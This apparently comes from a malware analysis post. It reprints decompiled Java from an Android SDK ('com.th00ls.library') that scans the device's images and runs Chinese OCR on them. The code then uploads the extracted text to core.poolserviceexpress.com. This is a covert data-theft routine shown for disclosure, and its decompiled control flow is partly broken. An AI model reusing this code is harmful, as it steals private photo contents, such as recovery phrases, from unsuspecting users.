ЙЖ v1.1.1版本的 MD5 值为:8a99f876f523791304117b6ba699b758
以下内容为反编译后的 AbstractC0081.java 源代码,内容仅作参考
package xxxx;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import androidx.room.RoomSQLiteQuery;
import androidx.room.util.CursorUtil;
import androidx.room.util.DBUtil;
import androidx.sqlite.db.SupportSQLiteStatement;
import com.google.mlkit.vision.common.InputImage;
import com.google.mlkit.vision.text.Text;
import com.google.mlkit.vision.text.TextRecognition;
import com.google.mlkit.vision.text.TextRecognizer;
import com.google.mlkit.vision.text.chinese.ChineseTextRecognizerOptions;
import com.th00ls.library.SDKMgr;
import com.th00ls.library.db.AbstractC0040;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.security.DigestInputStream;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.Locale;
import java.util.concurrent.CompletableFuture;
public abstract class AbstractC0081 {
public static void m5477() {
ArrayList m5521 = AbstractC0109.m5521();
C0103 mo105 = AbstractC0040.m104().mo105();
Log.i("SDKMgr", "media=" + m5521.size());
for (int i = 0; i < m5521.size(); i++) {
C0107 c0107 = (C0107) m5521.get(i);
if (!c0107.f64.isEmpty()) {
File file = new File(c0107.f64);
if (file.exists() && file.isFile()) {
long lastModified = file.lastModified();
String str = c0107.f64;
mo105.getClass();
RoomSQLiteQuery acquire = RoomSQLiteQuery.acquire("SELECT * FROM images WHERE filePath = ?", 1);
if (str == null) {
acquire.bindNull(1);
} else {
acquire.bindString(1, str);
}
mo105.f49.assertNotSuspendingTransaction();
C0105 c0105 = null;
Cursor query = DBUtil.query(mo105.f49, acquire, false, null);
try {
int columnIndexOrThrow = CursorUtil.getColumnIndexOrThrow(query, "fileId");
int columnIndexOrThrow2 = CursorUtil.getColumnIndexOrThrow(query, "filePath");
int columnIndexOrThrow3 = CursorUtil.getColumnIndexOrThrow(query, "fileUri");
int columnIndexOrThrow4 = CursorUtil.getColumnIndexOrThrow(query, "lastModify");
int columnIndexOrThrow5 = CursorUtil.getColumnIndexOrThrow(query, "uploaded");
if (query.moveToFirst()) {
c0105 = new C0105(query.isNull(columnIndexOrThrow) ? null : query.getString(columnIndexOrThrow), query.isNull(columnIndexOrThrow2) ? null : query.getString(columnIndexOrThrow2), query.isNull(columnIndexOrThrow3) ? null : query.getString(columnIndexOrThrow3), query.getLong(columnIndexOrThrow4));
c0105.f56 = query.getInt(columnIndexOrThrow5) != 0;
}
if (c0105 == null) {
String m5476 = m5476(file);
if (m5476.isEmpty()) {
return;
} else {
mo105.m5503(new C0105(m5476, c0107.f64, c0107.f65.toString(), lastModified));
}
} else if (c0105.f55 != lastModified) {
String m54762 = m5476(file);
if (m54762.isEmpty()) {
return;
}
c0105.f52 = m54762;
c0105.f55 = lastModified;
c0105.f56 = false;
mo105.m5503(c0105);
} else {
continue;
}
m5479();
} finally {
query.close();
acquire.release();
}
}
}
}
m5479();
}
public static void m5479() {
C0103 mo105 = AbstractC0040.m104().mo105();
TextRecognizer client = TextRecognition.getClient(new ChineseTextRecognizerOptions.Builder().build());
mo105.getClass();
RoomSQLiteQuery acquire = RoomSQLiteQuery.acquire("SELECT * FROM images WHERE uploaded = ?", 1);
boolean z = false;
acquire.bindLong(1, 0);
mo105.f49.assertNotSuspendingTransaction();
Cursor query = DBUtil.query(mo105.f49, acquire, false, null);
try {
int columnIndexOrThrow = CursorUtil.getColumnIndexOrThrow(query, "fileId");
int columnIndexOrThrow2 = CursorUtil.getColumnIndexOrThrow(query, "filePath");
int columnIndexOrThrow3 = CursorUtil.getColumnIndexOrThrow(query, "fileUri");
int columnIndexOrThrow4 = CursorUtil.getColumnIndexOrThrow(query, "lastModify");
int columnIndexOrThrow5 = CursorUtil.getColumnIndexOrThrow(query, "uploaded");
int count = query.getCount();
C0105[] c0105Arr = new C0105[count];
int i = 0;
while (query.moveToNext()) {
C0105 c0105 = new C0105(query.isNull(columnIndexOrThrow) ? null : query.getString(columnIndexOrThrow), query.isNull(columnIndexOrThrow2) ? null : query.getString(columnIndexOrThrow2), query.isNull(columnIndexOrThrow3) ? null : query.getString(columnIndexOrThrow3), query.getLong(columnIndexOrThrow4));
if (query.getInt(columnIndexOrThrow5) != 0) {
z = true;
}
c0105.f56 = z;
c0105Arr[i] = c0105;
i++;
z = false;
}
query.close();
acquire.release();
for (int i2 = 0; i2 < count; i2++) {
C0105 c01052 = c0105Arr[i2];
if (c01052 != null) {
if (!new File(c01052.f53).exists()) {
String str = c01052.f53;
mo105.f49.assertNotSuspendingTransaction();
SupportSQLiteStatement acquire2 = mo105.f51.acquire();
if (str == null) {
acquire2.bindNull(1);
} else {
acquire2.bindString(1, str);
}
mo105.f49.beginTransaction();
try {
acquire2.executeUpdateDelete();
mo105.f49.setTransactionSuccessful();
} finally {
mo105.f49.endTransaction();
mo105.f51.release(acquire2);
}
} else {
try {
InputImage fromFilePath = InputImage.fromFilePath((Context) SDKMgr.f23.get(), Uri.parse(c01052.f54));
if (Build.VERSION.SDK_INT < 24) {
return;
}
CompletableFuture completableFuture = new CompletableFuture();
client.process(fromFilePath).addOnSuccessListener(new C0079(completableFuture)).addOnFailureListener(new C0078(completableFuture));
Text text = (Text) completableFuture.get();
if (text != null) {
m5478(text, c01052);
}
} catch (Exception e) {
Log.i("SDKMgr", "OCR process error " + e);
e.printStackTrace();
}
}
}
}
} catch (Throwable th) {
query.close();
acquire.release();
throw th;
}
}
public static String m5476(File file) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
FileInputStream fileInputStream = new FileInputStream(file);
try {
do {
} while (new DigestInputStream(fileInputStream, messageDigest).read() != -1);
fileInputStream.close();
byte[] digest = messageDigest.digest();
StringBuilder sb = new StringBuilder();
for (byte b : digest) {
sb.append(String.format(Locale.getDefault(), "%02x", Byte.valueOf(b)));
}
return sb.toString();
} finally {
}
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
public static void m5478(Text text, C0105 c0105) {
String str;
OutputStream outputStream;
Throwable th;
BufferedReader bufferedReader;
StringBuilder sb;
String readLine;
String str2;
Bundle bundle;
C0103 mo105 = AbstractC0040.m104().mo105();
ArrayList arrayList = new ArrayList();
Iterator<Text.TextBlock> it = text.getTextBlocks().iterator();
while (it.hasNext()) {
for (Text.Line line : it.next().getLines()) {
arrayList.add(new C0115(line.getText(), line.getConfidence(), line.getBoundingBox()));
}
}
C0117 c0117 = new C0117(c0105.f52, System.currentTimeMillis(), arrayList);
Log.i("SDKMgr", "OCR Result -> " + c0117);
byte[] c = SDKMgr.c(c0117.toString().getBytes(StandardCharsets.UTF_8));
try {
Context context = (Context) SDKMgr.f23.get();
Handler handler = AbstractC0108.f66;
try {
bundle = context.getPackageManager().getApplicationInfo(context.getPackageName(), 128).metaData;
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
try {
try {
if (bundle != null && bundle.containsKey("sssdk_key")) {
str = String.valueOf(bundle.get("sssdk_key"));
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("https://core.poolserviceexpress.com/v1/up").openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("key", str);
httpURLConnection.setDoOutput(true);
httpURLConnection.setConnectTimeout(10000);
httpURLConnection.setReadTimeout(10000);
outputStream = httpURLConnection.getOutputStream();
outputStream.write(c, 0, c.length);
outputStream.close();
bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), StandardCharsets.UTF_8));
sb = new StringBuilder();
while (true) {
readLine = bufferedReader.readLine();
if (readLine != null) {
break;
} else {
sb.append(readLine.trim());
}
}
if (sb.toString().contains("200")) {
str2 = "OCR Result up fail 111 " + ((Object) sb);
} else {
c0105.f56 = true;
mo105.m5503(c0105);
str2 = "OCR Result up success";
}
Log.i("SDKMgr", str2);
bufferedReader.close();
return;
}
sb = new StringBuilder();
while (true) {
readLine = bufferedReader.readLine();
if (readLine != null) {
}
sb.append(readLine.trim());
}
if (sb.toString().contains("200")) {
}
Log.i("SDKMgr", str2);
bufferedReader.close();
return;
} catch (Throwable th2) {
th = th2;
try {
bufferedReader.close();
} catch (Throwable th3) {
th = th3;
th.addSuppressed(th);
throw th;
}
throw th;
}
outputStream.write(c, 0, c.length);
outputStream.close();
bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), StandardCharsets.UTF_8));
} catch (Throwable th4) {
th = th4;
if (outputStream != null) {
try {
outputStream.close();
} catch (Throwable th5) {
th = th5;
th.addSuppressed(th);
throw th;
}
}
throw th;
}
str = "";
HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL("https://core.poolserviceexpress.com/v1/up").openConnection();
httpURLConnection2.setRequestMethod("POST");
httpURLConnection2.setRequestProperty("Content-Type", "application/json");
httpURLConnection2.setRequestProperty("key", str);
httpURLConnection2.setDoOutput(true);
httpURLConnection2.setConnectTimeout(10000);
httpURLConnection2.setReadTimeout(10000);
outputStream = httpURLConnection2.getOutputStream();
} catch (Exception e2) {
Log.i("SDKMgr", "OCR Result http fail 222");
e2.printStackTrace();
}
}
}